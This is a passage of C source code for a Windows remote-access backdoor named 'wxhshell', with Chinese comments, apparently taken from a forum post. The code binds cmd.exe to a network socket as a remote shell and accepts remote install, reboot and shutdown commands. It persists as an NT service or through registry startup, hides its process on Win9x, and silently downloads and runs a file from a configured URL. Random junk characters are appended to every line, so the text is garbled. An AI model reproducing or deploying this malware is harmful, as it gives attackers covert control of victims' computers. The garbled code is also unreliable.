    switch(cmd[0]) { u$(XZ;Jg  
  i6:O9Km  
  // 帮助 W3B:)<f  
  case '?': { wJWofFz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xc G   
    break; ^^[A\'  
  } }FkF1?C  
  // 安装 F||oSJrI  
  case 'i': { Gmmh&Uj  
    if(Install()) @dhnpR :L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{[ uCxxl  
    else *HQ>tvUh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nX+c HF  
    break;  :LTjV"f  
    } AK$i0Rn;pm  
  // 卸载 >ti)m >f  
  case 'r': { 4FJA+  
    if(Uninstall()) f;3k Yh^4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2-@z-XKn  
    else FOSC#W9E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .oe\wJS6  
    break; w+{ o^ O  
    } A1aN<!ehB  
  // 显示 wxhshell 所在路径 "1-z'TV=  
  case 'p': { O _^Y*!  
    char svExeFile[MAX_PATH]; Vx=tP.BO]  
    strcpy(svExeFile,"\n\r"); /9 |BAQ:v;  
      strcat(svExeFile,ExeFile);  75T+6 u  
        send(wsh,svExeFile,strlen(svExeFile),0); pT<I!,~  
    break; ?s9f}>  
    } En YEAjX  
  // 重启 6'1Lu1w  
  case 'b': { HurF4IsHk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1,pPLc(  
    if(Boot(REBOOT)) NPt3#k^bW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak,T{;rD  
    else { G8Zl[8  
    closesocket(wsh); #i-b|J+%  
    ExitThread(0); 'TDp%s*;  
    } o65I(`  
    break; IMHt#M`  
    } vH>s2\V"  
  // 关机 VI8/@A1Gv  
  case 'd': { l +# FoN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _?;74VWA  
    if(Boot(SHUTDOWN)) zB#.EW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!+bn,?G  
    else { s#)0- Zj  
    closesocket(wsh); jUrUM.CJ\N  
    ExitThread(0); \-{2E  
    } )W!\D/C+  
    break; x{,W<oXg  
    } G$6mtw6[M  
  // 获取shell ;~Q`TWC  
  case 's': { >$;,1N $bd  
    CmdShell(wsh); E#c9n%E\sz  
    closesocket(wsh); \NQ[w7  
    ExitThread(0); saVX2j6Y  
    break; h%Uq  
  } muIJeQ.C  
  // 退出 co>IJzg  
  case 'x': { #e&LyYx4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;! #IRR  
    CloseIt(wsh); q 7hoI]  
    break; 4+F@BxpB  
    } F2dwT  
  // 离开 ;H"OZRQ  
  case 'q': { _ IlRZ}f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OZ2faf  
    closesocket(wsh); *xDV8iu_  
    WSACleanup(); vW5>{  
    exit(1); MN_1^T5  
    break; }C5Fvy6uz  
        } @[j%V ynf  
  } *):s**BJ$  
  } ) {4$oXQ  
M#xol/)h  
  // 提示信息 @Qd5a(5WM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0MN)Z(Sa  
} 7E R!>l+  
  } b:x*Hjf  
"QM2YJ55m`  
  return; ,~XAV ;+  
} A2I\T, Z  
c)SQ@B@q  
// shell模块句柄 >,n K  
int CmdShell(SOCKET sock) K9S(Xip  
{ /X?%K't2r  
STARTUPINFO si; /cx Ei6I-  
ZeroMemory(&si,sizeof(si)); z#+Sf.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HVNX"`]"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hx ojxZwm  
PROCESS_INFORMATION ProcessInfo; h BzZJ/jn  
char cmdline[]="cmd"; 0B(Y{*QB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .wkW<F7  
  return 0; *.+N?%sAP)  
} _>G=xKA#e  
^1X 6DH`  
// 自身启动模式 -Vj112 fI  
int StartFromService(void) Gvc/o$_  
{ X9#i!_*  
typedef struct rnXoA, c/  
{ Y2(,E e2  
  DWORD ExitStatus; 0#/Pc`z C  
  DWORD PebBaseAddress; OdtS5:L  
  DWORD AffinityMask; h~k+!\  
  DWORD BasePriority; i [6oqZ  
  ULONG UniqueProcessId; # 0/,teJ k  
  ULONG InheritedFromUniqueProcessId; LO)p2[5#R  
}   PROCESS_BASIC_INFORMATION; @|@6pXR.  
je=XZ's,i~  
PROCNTQSIP NtQueryInformationProcess; iG=XRctgj)  
+}NQ |y V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1K[y)q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PAv<J<d  
l1]'3]P(  
  HANDLE             hProcess; > @q4Uez  
  PROCESS_BASIC_INFORMATION pbi; l"9$lF}  
4_o+gG%HaM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p.!p6ve){  
  if(NULL == hInst ) return 0; 64f6D"."  
kj'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =p#:v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n)R[T.E)+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h($Jo  
J24H}^~na  
  if (!NtQueryInformationProcess) return 0; >RKepV(X7  
opqf)C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pe-%`1iC0>  
  if(!hProcess) return 0; 2G }@s.iE  
]0 ;,M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }62Q{>`  
+<f!#4T  
  CloseHandle(hProcess); B[[1=  
);fPir?+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,~7+r#q7  
if(hProcess==NULL) return 0; 9v76A~~  
CpC6vA.R  
HMODULE hMod; PsI{y&.  
char procName[255]; :6}cczQE|O  
unsigned long cbNeeded; /P/::$  
.jRv8x b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5z 9'~Gfb  
Cj# ?Z7}z  
  CloseHandle(hProcess); (eO_]<wmky  
n16TQe"8  
if(strstr(procName,"services")) return 1; // 以服务启动 +c\uBrlZQ;  
2Q[q)u  
  return 0; // 注册表启动 r%^XOw<'  
} 8Tm/gzx  
u&$1XZ!es  
// 主模块 &A~(9IV  
int StartWxhshell(LPSTR lpCmdLine) d$v{oC }  
{ ]8EkZC  
  SOCKET wsl;  h]?[}&  
BOOL val=TRUE; x DX_s:A  
  int port=0; l[{Ci|4  
  struct sockaddr_in door; rcG-V f@  
O]\eMM&  
  if(wscfg.ws_autoins) Install(); 2Jn?'76`  
8Nxyc>8K~  
port=atoi(lpCmdLine); `;#I_R_K  
W[.UM  
if(port<=0) port=wscfg.ws_port; 3G-f+HN^E  
g<N3 L [  
  WSADATA data; nokMS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }o9(Q8  
Y'M}lv$sa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T eBJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); He)dm5#fg  
  door.sin_family = AF_INET; }}~ t! /x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pna2IB+  
  door.sin_port = htons(port); `jH0FJQ  
({p @Ay  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9/LJ tM  
closesocket(wsl); i+B tz-  
return 1; Ov8{ny  
} aW#_"Y}v'  
J`{HMv  
  if(listen(wsl,2) == INVALID_SOCKET) { b:(*C  
closesocket(wsl); E 9n7P'8  
return 1; p&,2@(Q  
} MA5BTq<&  
  Wxhshell(wsl); ?u /i8  
  WSACleanup(); KoO\<_@";  
a+{95"4  
return 0; ' 8bT9  
CF+:9PG  
}  p(Bn!  
&y=~:1&f  
// 以NT服务方式启动 ZVmgQ7m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JIyIQg'5i  
{ BFyVq  
DWORD   status = 0; W L5!H.q  
  DWORD   specificError = 0xfffffff; NX4}o&mDwn  
Gn%gSH/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3RTraF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3xz{[5<p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J#'+&D H  
  serviceStatus.dwWin32ExitCode     = 0; S[W|=(f9  
  serviceStatus.dwServiceSpecificExitCode = 0; H Ql_ /:Wx  
  serviceStatus.dwCheckPoint       = 0; <sq@[\l}a  
  serviceStatus.dwWaitHint       = 0; [{!5{k!  
O%(k$ fvM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sd~T  
  if (hServiceStatusHandle==0) return; *S@0o6v  
Z*(lg$A9 M  
status = GetLastError(); sj?7}(s  
  if (status!=NO_ERROR) zn|/h,.  
{ q^hL[:ms#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A_WtmG_9  
    serviceStatus.dwCheckPoint       = 0; <C9_5C e~  
    serviceStatus.dwWaitHint       = 0; Fv6<Cz6L  
    serviceStatus.dwWin32ExitCode     = status; ) Pdl[+a  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^.9I[Umua  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "cUCB  
    return; ]}&f<X  
  } Mo2b"A;}|  
z2QZ;ZjvRS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; " '/$ZpY  
  serviceStatus.dwCheckPoint       = 0; ;9hi2_luV  
  serviceStatus.dwWaitHint       = 0; 4F+n`{~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v*7lJNN.  
} /WJ*ro]Hd$  
BEzF'<Z  
// 处理NT服务事件,比如:启动、停止 zU9G: jH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p ft6 @ 'q  
{ -B-nTS`  
switch(fdwControl) [J|)DUjt  
{ }bVWV0Aeim  
case SERVICE_CONTROL_STOP: 0/."R ;  
  serviceStatus.dwWin32ExitCode = 0; ='0f#>0Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^vjN$JB  
  serviceStatus.dwCheckPoint   = 0; I%NPc4p  
  serviceStatus.dwWaitHint     = 0; *kXSl73 k  
  { 0NB6S&lI^k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v^h \E+@  
  } ;y7V-sf  
  return; jy] hP?QG  
case SERVICE_CONTROL_PAUSE: XK (y ?Y1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :H$D-pbJ4  
  break; iTt"Ik'  
case SERVICE_CONTROL_CONTINUE: tZ]|3wp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IwIk;pB O  
  break; QM1-w^  
case SERVICE_CONTROL_INTERROGATE: lGI5  
  break; @83h/Wcxd  
}; ai(<"|(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _$me.  
} B8^tIq  
*=1;HN3  
// 标准应用程序主函数 Hut au^l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -~A7o3k35  
{ j[XA"DZR<  
8=!M0i  
// 获取操作系统版本 :>$)Snqo=n  
OsIsNt=GetOsVer(); qwu++9BM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oAX-Sg-/$  
,P ?TYk  
  // 从命令行安装 ~y}M GUEC  
  if(strpbrk(lpCmdLine,"iI")) Install(); <R7* 00  
{}?s0U$5  
  // 下载执行文件 S<f&?\wK=v  
if(wscfg.ws_downexe) { %Yg;s'F>#q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p;:tzH\l  
  WinExec(wscfg.ws_filenam,SW_HIDE); `e0U-W]kF  
} OE-$P  
0K'lr;  
if(!OsIsNt) {  K6kPNi  
// 如果时win9x,隐藏进程并且设置为注册表启动 "_ b Sy  
HideProc(); _=jc%@]1y  
StartWxhshell(lpCmdLine); f)q\RJA)X  
} !Y-MUZ$f  
else Dn _D6H  
  if(StartFromService()) .b]g# Du=  
  // 以服务方式启动 -[s*R%w  
  StartServiceCtrlDispatcher(DispatchTable); p2PD';"  
else 7Nc@7_=  
  // 普通方式启动 __c:$7B/4U  
  StartWxhshell(lpCmdLine); $nQ; ++  
#6_?7 (X  
return 0; qt}vM*0}V  
}
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只看该作者 1 发表于: 2006-10-10
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